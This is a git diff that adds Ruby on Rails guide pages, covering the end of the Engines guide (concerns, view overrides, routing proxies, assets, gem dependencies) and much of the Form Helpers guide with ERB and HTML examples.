+    "#{title}"
+  end
+end
+```
+
+#### Implementing Decorator Pattern Using ActiveSupport::Concern
+
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
+
+**Adding** `Post#time_since_created` and **Overriding** `Post#summary`:
+
+```ruby
+# MyApp/app/models/blorgh/post.rb
+
+class Blorgh::Post < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Post
+
+  def time_since_created
+    Time.current - created_at
+  end
+
+  def summary
+    "#{title} - #{truncate(text)}"
+  end
+end
+```
+
+```ruby
+# Blorgh/app/models/post.rb
+
+class Post < ActiveRecord::Base
+  include Blorgh::Concerns::Models::Post
+end
+```
+
+```ruby
+# Blorgh/lib/concerns/models/post
+
+module Blorgh::Concerns::Models::Post
+  extend ActiveSupport::Concern
+
+  # 'included do' causes the included code to be evaluated in the
+  # context where it is included (post.rb), rather than being
+  # executed in the module's context (blorgh/concerns/models/post).
+  included do
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User"
+
+    before_save :set_author
+
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+```
+
+### Overriding Views
+
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
+
+When the application is asked to render the view for `Blorgh::PostsController`'s
+index action, it will first look for the path
+`app/views/blorgh/posts/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
+
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/posts/index.html.erb`. Then you can completely change what
+this view would normally output.
+
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb`
+and put this content in it:
+
+```html+erb
+<h1>Posts</h1>
+<%= link_to "New Post", new_post_path %>
+<% @posts.each do |post| %>
+  <h2><%= post.title %></h2>
+  <small>By <%= post.author %></small>
+  <%= simple_format(post.text) %>
+  <hr>
+<% end %>
+```
+
+### Routes
+
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
+
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+  resources :posts
+end
+```
+
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `posts_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
+
+For instance, the following example would go to the application's `posts_path`
+if that template was rendered from the application, or the engine's `posts_path`
+if it was rendered from the engine:
+
+```erb
+<%= link_to "Blog posts", posts_path %>
+```
+
+To make this route always use the engine's `posts_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
+
+```erb
+<%= link_to "Blog posts", blorgh.posts_path %>
+```
+
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
+
+```erb
+<%= link_to "Home", main_app.root_path %>
+```
+
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
+
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
+
+### Assets
+
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
+
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
+
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
+
+```erb
+<%= stylesheet_link_tag "blorgh/style.css" %>
+```
+
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
+
+```
+/*
+ *= require blorgh/style
+*/
+```
+
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
+
+### Separate Assets & Precompiling
+
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation.  This tells sprockets to add
+your engine assets when `rake assets:precompile` is triggered.
+
+You can define assets for precompilation in `engine.rb`:
+
+```ruby
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w(admin.css admin.js)
+end
+```
+
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
+
+### Other Gem Dependencies
+
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
+
+To specify a dependency that should be installed with the engine during a
+traditional `gem install`, specify it inside the `Gem::Specification` block
+inside the `.gemspec` file in the engine:
+
+```ruby
+s.add_dependency "moo"
+```
+
+To specify a dependency that should only be installed as a development
+dependency of the application, specify it like this:
+
+```ruby
+s.add_development_dependency "moo"
+```
+
+Both kinds of dependencies will be installed when `bundle install` is run inside
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
+
+Note that if you want to immediately require dependencies when the engine is
+required, you should require them before the engine's initialization. For
+example:
+
+```ruby
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+```
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
new file mode 100644
index 0000000..455dc7b
--- /dev/null
+++ b/guides/source/form_helpers.md
@@ -0,0 +1,1001 @@
+Form Helpers
+============
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails does away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+After reading this guide, you will know:
+
+* How to create search forms and similar kind of generic forms not representing any specific model in your application.
+* How to make model-centric forms for creation and editing of specific database records.
+* How to generate select boxes from multiple types of data.
+* The date and time helpers Rails provides.
+* What makes a file upload form different.
+* Some cases of building forms to external resources.
+* How to build complex forms.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit [the Rails API documentation](http://api.rubyonrails.org/) for a complete reference.
+
+
+Dealing with Basic Forms
+------------------------
+
+The most basic form helper is `form_tag`.
+
+```erb
+<%= form_tag do %>
+  Form contents
+<% end %>
+```
+
+When called without arguments like this, it creates a `<form>` tag which, when submitted, will POST to the current page. For instance, assuming the current page is `/home/index`, the generated HTML will look like this (some line breaks added for readability):
+
+```html
+<form accept-charset="UTF-8" action="/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+```
+
+Now, you'll notice that the HTML contains something extra: a `div` element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name `utf8` enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name `authenticity_token` is a security feature of Rails called **cross-site re [...]
+
+NOTE: Throughout this guide, the `div` with the hidden input elements will be excluded from code samples for brevity.
+
+### A Generic Search Form
+
+One of the most basic forms you see on the web is a search form. This form contains:
+
+* a form element with "GET" method,
+* a label for the input,
+* a text input element, and
+* a submit element.
+
+To create this form you will use `form_tag`, `label_tag`, `text_field_tag`, and `submit_tag`, respectively. Like this:
+
+```erb
+<%= form_tag("/search", method: "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+```
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+### Multiple Hashes in Form Helper Calls
+
+The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+
+```ruby
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+```
+
+Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+
+```ruby
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+```
+
+### Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user f [...]
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+#### Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+```erb
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+```
+
+This generates the following:
+
+```html
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+```
+
+The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
+
+#### Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+
+```erb
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+```
+
+Output:
+
+```html
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+```
+
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
+by expanding the clickable region,
+make it easier for users to click the inputs.
+
+### Other Helpers of Interest
+
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
+
+```erb
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_field(:user, :meeting_time) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
+```
+
+Output:
+
+```html
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_meeting_time" name="user[meeting_time]" type="datetime" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+```
+
+Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
+
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
+
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+
+Dealing with Model Objects
+--------------------------
+
+### Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+
+```erb
+<%= text_field(:person, :name) %>
+```
+
+will produce output similar to
+
+```erb
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide.
+
+### Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+
+Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
+
+```ruby
+def new
+  @article = Article.new
+end
+```
+
+The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+
+```erb
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, size: "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+```
+
+There are a few things to note here:
+
+* `@article` is the actual object being edited.
+* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+* The `form_for` method yields a **form builder** object (the `f` variable).
+* Methods to create form controls are called **on** the form builder object `f`
+
+The resulting HTML is:
+
+```html
+<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+```erb
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_details_form| %>
+    <%= contact_details_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+```
+
+which produces the following output:
+
+```html
+<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+```
+
+The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+
+### Relying on Record Identification
+
+The Article model is directly available to users of the application, so - following the best practices for developing with Rails - you should declare it **a resource**:
+
+```ruby
+resources :articles
+```
+
+TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
+
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+```ruby
+## Creating a new article
+# long-style:
+form_for(@article, url: articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# short-style:
+form_for(@article)
+```
+
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+
+#### Dealing with Namespaces
+
+If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+
+```ruby
+form_for [:admin, @article]
+```
+
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+```ruby
+form_for [:admin, :management, @article]
+```
+
+For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+
+
+### How do forms with PATCH, PUT, or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
+
+```ruby
+form_tag(search_path, method: "patch")
+```
+
+output:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="patch" />
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+```
+
+When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
+
+Making Select Boxes with Ease
+-----------------------------
+
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+```html
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+```
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+### The Select and Option Tags
+
+The most generic helper is `select_tag`, which - as the name implies - simply generates the `SELECT` tag that encapsulates an options string:
+
+```erb
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+```
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+```
+
+The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+
+```erb
+<%= select_tag(:city_id, options_for_select(...)) %>
+```
+
+`options_for_select` allows you to pre-select an option by passing its value.
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+```
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` - you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+
+WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+
+You can add arbitrary attributes to the options using hashes:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+
+output:
+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+```
+
+### Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+
+```ruby
+# controller:
+ at person = Person.new(city_id: 2)
+```
+
+```erb
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+```
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one - Rails will do this for you by reading from the `@person.city_id` attribute.
+
+As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. A [...]
+
+### Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+```erb
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+```
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
+
+```erb
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+```
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+
+```erb
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+```
+
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+
+NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+
+### Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+
+```erb
+<%= time_zone_select(:person, :time_zone) %>
+```
+
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+
+Using Date and Time Form Helpers
+--------------------------------
+
+You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+
+* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+### Barebones Helpers
+
+The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+```erb
+<%= select_date Date.today, prefix: :start_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+```
+
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+```ruby
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+```
+
+The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
+
+### Model Object Helpers
+
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+```erb
+<%= date_select :person, :birth_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+```
+
+which results in a `params` hash like
+
+```ruby
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+```
+
+When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+
+### Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
+
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+### Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_na [...]
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+```erb
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+```
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+
+Uploading Files
+---------------
+
